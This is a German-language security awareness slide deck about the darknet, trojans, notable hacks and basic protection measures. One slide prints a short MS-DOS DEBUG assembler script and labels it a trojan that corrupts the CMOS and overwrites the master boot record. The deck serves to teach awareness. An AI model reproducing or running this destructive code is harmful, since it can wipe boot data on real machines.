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DARKNET
TROJANER & CO

DI MARTIN SCHOBER

MSC – MARTINSCHOBER.COM



MSc – MARTINSCHOBER.COM (gegr. 2003)

Zu meiner Person:

• als Nachrichten-Elektroniker seit 1989 in der IT

• 1993 Abendschule, 1997 Studium (Physik, TK)

• Steyr-Daimer-Puch, Intellisys Group, Siemens, Baxter

• IT- & Cybersecurity (Schutz, Beratung & Betreuung)

• Cloud-Consultant (Outsourcing)

• Sprecher der IT-Security Experts Group Salzburg

• Audits, IT-Prozesse, Spezial-Themen (Think-Tank)

• Datenschutz-Themen in Unternehmen

• Projekt-Begleitung, Vorträge & Awareness-Kurse
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Site-Lock



SCHLAGZEILEN VON „ERFOLGREICHEN“ HACKS

• Stagefright

• Ashleymadison.com

• Target

• CAN-Bus Hack Chrysler

• Fiat – WLAN Hack
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http://www.golem.de/news/stagefright-2-0-sicherheitsluecke-macht-1-milliarde-android-geraete-angreifbar-1510-116632.html
http://meedia.de/2015/08/25/selbstmorde-erpressung-betrug-schadensersatz-chaos-und-verbrechen-nach-dem-ashley-madison-hack/
http://techcrunch.com/2014/01/10/targets-data-breach-gets-worse-70-million-customers-had-info-stolen-including-names-emails-and-phones/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed:+Techcrunch+(TechCrunch)&utm_content=Netvibes
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Spam-Anteil im weltweiten E-Mail-Traffic, Q1 & Q2 - 2016 
[www.securelist.com - kaspersky]



WAS KENNEN SIE VOM INTERNET?
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WOHER KOMMEN VIREN, TROJANER, INFOS?
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DAS DEEPNET & DARKNET

©  DI Martin SchoberDarknet 12



©  DI Martin 
Schober

Darknet 13



WIE KOMMT MAN INS DEEP-/DARKNET?

Deepnet:

• Gezielte Suchanfragen, spezielle Seiten

• Inhalt: u.a. Datenbanken, txt-Files, Log-Files usw.

Darknet:

• Nur mit Schutz

• VPN

• TOR
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HACKING IN FILMEN & BÜCHER

• Who Am I – Kein System ist sicher

• Blackhat

• Stirb Langsam 4 (teils teils)

• 23 - Nichts ist so wie es scheint

• Zero

• #pwned: Es kann jeden treffen

• Blackout
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TECHNIKEN (UNVOLLST. AUFZÄHLUNG)

• Social Engineering

• Rootkit

• Denial of Service (DoS)

• Sniffer

• Keylogger

• Virus, Würmer, Trojaner
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WIE SCHAUT DEN EIN VIRUS AUS?
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ETWAS ASSEMBLER – EIN MS-DOS TROJANER
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a 100

mov ax, 0320

cwd

out     70, ax

mov bx, sp

xor cx, cx

mov es, cx

inc cx

int 13

inc dx

jmp sp

n 18.BIN

r cx

12

w

q

In Assembler - Maschinensprache

Länge nur 18 byte

„Zerstört“ das CMOS (BIOS)

Überschreibt MBR bzw. Bootfile

Nicht resisdent…

Link:

http://andremueller.gmxhome.de/cpu

.html

http://andremueller.gmxhome.de/cpu.html
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Wie schützt man 

sich dagegen?



SCHUTZ DURCH:

Technisch:

1. Datensicherung – Datenklassifizierung (wichtig -> unwichtig)

2. Aktuelle Software (Patches, Updates, usw.)

3. Virenscanner

4. Firewall –> aktuelle IT-Sicherheits-Mechanismen

Persönlich:

1. Denken!

2. Schulungen – Lernen – IT ist Chance und Risiko!

3. Korrekte Technik – ABER: GPS!  

4. Wissen über Gefahren (zB. Passwörter)
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ENDE

• Fragen

• Anmerkungen

• Diskussion DI Martin Schober

IT- & Cybersecurity

IT-Professional

office@martinschober.com

+43.660.1517017Darknet

mailto:office@martinschober.com
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